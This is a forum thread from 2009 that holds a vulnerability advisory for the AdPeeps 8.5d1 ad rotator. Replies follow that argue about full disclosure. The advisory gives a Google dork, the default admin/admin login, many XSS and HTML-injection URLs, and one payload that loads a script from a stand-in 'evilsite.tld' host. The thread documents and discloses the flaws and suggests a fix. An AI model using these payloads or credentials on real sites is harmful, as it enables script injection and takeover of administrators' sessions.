» AdPeeps 8.5d1 - XSS and HTML Injection Vulnerabilities

[MaXe]

AdPeeps Ad Rotator - XSS and HTML Injection Vulnerabilities

Version Affected: 8.5d1 (3-18-09) (newest)

Info: Ad Peeps is a banner rotator and text ad rotator - all in one that allows you to track, sell and manage banner ads, rich-media/flash ads and text ads on your website. Built using PHP/MYSQL, Ad Peeps provides you and your advertisers with highly detailed real-time statistics and is capable of delivering millions of impressions per day on a typical shared web server. - Plus, you can try it right now on your website with our 7 day trial.

Ad Peeps is so versatile that it can even show your text ads Yahoo! Style or Google AdWords Style. Unlike many other banner ad rotator programs, Ad Peeps was skillfully designed to use minimal server resources while maintaining speed and unparalleled performance. Built on a highly scalable and versatile database architecture, Ad Peeps works without fuss even on high traffic web sites and won't crash your high powered website..

Opinion: AdPeeps, along with many others should really hire people to audit their code.

Credits: Matt and all of InterN0T :-)

Googled0rk: (there might be more accurate d0rks)
intitle:"Advertisement Management Control Panel"

External Links:
http://www.adpeeps.com/
http://www.adpeeps.com/signup.html
http://demo.adpeeps.com/index.php?lo...gin&uid=100000

Default Login:
admin / admin


-:: The Advisory ::-

Version Information:
http://www.website.tld/adpeeps/index.php?loc=adminlogin&uid=100000

Information Disclosure: (discloses the full path to the file)
http://www.website.tld/adpeeps/index.php?loc=view_adrates&uid=SomeRandomString

Vulnerable Function / ID Calls: (XSS)
uid, campainid, type, period, loginpass, accname, e9, from, subject & idno

Possible Filtered / Bad Chars: ' (quotes are semi-filtered too with a \ prepended, however this does not prevent XSS from being executed)

Cross Site Scripting: ( "><script>alert(0)</script> )
http://www.website.tld/adpeeps/index.php?uid="><script>alert(0)</script>
http://www.website.tld/adpeeps/index.php?loc=login_lookup&uid="><script>alert(0)</script>
http://www.website.tld/adpeeps/index.php?loc=adminlogin&uid="><script>alert(0)</script>
http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=new&uid=100000&c ampaignid="><script>alert(0)</script>
http://www.website.tld/adpeeps/index.php?loc=view_account_stats&uid=100000&type=" ><script>alert(2)</script>&period="><script>alert(1)</script>
http://www.website.tld/adpeeps/index.php?loc=view_adrates&uid="><script>alert(0)</script>
http://www.website.tld/adpeeps/index.php?loc=account_confirmation&accname="><scri pt>alert(1)</script>&loginpass="><script>alert(2)</script>&uid=100000
http://www.website.tld/adpeeps/index.php?loc=setup_account&e6=new&e12=bypass&e9=" ><script>alert(0)</script>
http://www.website.tld/adpeeps/index.php?loc=email_advertisers&uid=100000&mode=1& errors=&from="><script>alert(1)</script>&message=&subject="><script>alert(2)</script>
http://www.website.tld/adpeeps/index.php?loc=edit_ad_package&uid=100000&idno="><s cript>alert(0)</script>
-- The Cross Site Scripting will most likely not survive any logins from what our research results showed.

Affected Fields in the Signup Formular by HTML Injection:
- Advertiser Name
- First Name
- Last Name
- *Advertiser E-Mail
- Address
- Phone Number
- Password Hint
- URL to goto on click
*Was not tested but might be vulnerable.

Avoid HTML Injection In: (these fields gets sent to the administrator by e-mail)
Advertiser Name
First & Last Name
Advertiser E-mail

HTML Injection: : (insert: "><script>alert(0)</script> into the mentioned forms)
http://www.website.tld/adpeeps/index.php?loc=view_adrates&uid=100000
- One will have to buy a user / ad-spot in order to exploit this issue.

Affected Sites by HTML Injection: (where Advertiser Name, First- and Last-name isn't used)
http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&uid=100000& campaignid=VALIDID (phone and passhint)
http://www.website.tld/adpeeps/index.php?loc=view_campaign_stats&uid=100000&campa ignid=VALIDID (address and phone)
http://www.website.tld/adpeeps/index.php?loc=view_ad_stats&uid=100000&campaignid= VALIDID&adno=VALIDID (ad url)
http://www.website.tld/adpeeps/index.php?loc=createadvertad&campaignid=VALIDID&ui d=100000&adno=VALIDID&adtype=banner (ad url)

Affected Sites by HTML Injection: (where advertiser name is used)
http://www.website.tld/adpeeps/index.php?loc=view_account_stats&uid=100000&type=o verall&period=all
http://www.website.tld/adpeeps/index.php?loc=mass_update_target_weight&uid=100000
http://www.website.tld/adpeeps/index.php?loc=orderhistory&uid=100000
http://www.website.tld/adpeeps/index.php?loc=email_advertisers&uid=100000&mode=1& errors=&from=&message=&subject=
http://www.website.tld/adpeeps/index.php?loc=campaignview&uid=100000&messagecode= void
http://www.website.tld/adpeeps/index.php?loc=previouslydeleted&uid=100000 << Only when the Admin has deleted the user and looks at this page!
http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&uid=100000& campaignid=VALIDID
http://www.website.tld/adpeeps/index.php?loc=view_campaign_stats&uid=100000&campa ignid=VALIDID

Affected Sites by HTML Injection: (which requires abnormal injection. (the common alert(0) did not work))
http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&uid=100000& campaignid=VALIDID (first- and/or last-name)
http://www.website.tld/adpeeps/index.php?loc=email_advertisers&uid=100000&mode=1& errors=&from=&message=&subject= (first- and/or last-name)
http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&uid=100000& campaignid=VALIDID (first- and/or last-name)
http://www.website.tld/adpeeps/index.php?loc=view_campaign_stats&uid=100000&campa ignid=VALIDID (first- and/or last-name)
The above "abnormal" injection we tested with was: "></td></tr></table><SCRIPT SRC=http://evilsite.tld/xss.js></SCRIPT><!--

-:: Solution ::-
The most easy solution is to validate user input and strip or convert bad / html characters.

Conclusion:
Even if One decides to (ab)use the Advertiser Name, First- and Last-name's as injection points and the administrator sees this (in an e-mail), then he will still be affected by the injection and possibly have a hard time deleting those malicious users safely except if he might have NoScript turned on for his own website. (the injection points might render the desired pages useless)

Disclosure Information:
- Vulnerabilities found 26th May 2009.
- Advisory finished and published on InterN0T the 27th May.
- Bugtraq (SecurityFocus) and Milw0rm contacted the 27th May.
*AdPeeps will be contacted soon. (full disclosure rocks!)
- Milw0rm: http://milw0rm.com/exploits/8818
- Secunia: http://secunia.com/advisories/35262/


All of the best,
MaXe

[accelerator2610]

To MAXE: (sorry to talk about something not releated to this topic at all, hope you see my point when you read it)


In my honest opinion I am very much agains public disclosure, or even disclosure while at that point.
I don't know what benifit do you get from releasing exploits and just giving the script kiddies more tools in their already enormous arsenal.

Not to mention teaching the whitehat industry of possible new types of coding mistakes and extreminating some exploit methods,
just like what happened to BoFs in closed source applications and services.
Even if that doesn't touch you, why give the exploits to vendors when they already have an IT sec team working round the clock to find new holes.

If you outsmarted them, use that, don't just help them get better security with out the sweat of finding them for theirself.


As I can not understand your motives i just want you to tell me your honest oppinion about this, PM it if you want to.

I know that my other point of view might get me a BAN here, but I am a blackhat, i hate disclosure of vulns PoCs
etc. and trying to reason everybody that's agains my opinion.

accelerator_dd

[hestas]

Nice find. IMO I do think full discloses is good because its valuable for multiple people/

[TheXero]

i believe the only way a script kiddie can fully learn is through this kind of teaching

for example, maxe explains everything about how and why it works which is very anti selfish of himself

and accelerator you probably learned from masters yourself

nice one maxe xD

[MaXe]

@accelerator2610 => Don't worry you wont get banned for saying your opinion, it's only
flaming that might get you a warning, but not a ban :-) (only if it's really bad which this
is not nearly anywhere near of).

Anyways i see your concern, i could hide the exploits for higher ranked members and in
some cases i have done it while working on it. Or keep it all to myself, but since i'm not
going to abuse it except if i had a target (which i don't), then i don't see a purpose in
not sharing it to the community.

The reason why i begin to make advisories and share them is simply because it might
inspire other members to do the same! It also helps us increase in popularity or in other
words how known we might be on the internet.

On numerous places i've heard people saying there's nothing interesting on InterN0T,
but there is now! And whenever i find vulnerabilities, i'll most likely post them. They
might be in non-public sections for a few days but not more than a few weeks.

I think that's the essence of being grayhat, sometimes i might have intentions of hack-
ing a particular target, but mostly i just like finding holes in web application systems and
websites which are poorly coded. It's all for the fun, no profit at all. No malicious intentions :)

@hestas and TheXero => Yes it's also about teaching people, especially in the other
advisory where i explained how to abuse the issue and where it might fail, where it
might work etc. The only thing i'm not going to explain is where all the flaws are in
the code, because I myself is not really the best coder and programmer.

But in future advisories i might just write an article as i might begin to look through
the codes instead of getting a copy to install on my own webserver ;-) And when i
finally begin programming for real, i might look into software vulnerabilities instead!

I actually think those are even better, especially if it's software that is widely used
and which can give a root/meterpreter shell. I wish i was better at that kind of stuff ;D

However i still need to improve my (+Blind) SQL injection (which really sucks) and more!


Thanks for the feedback :)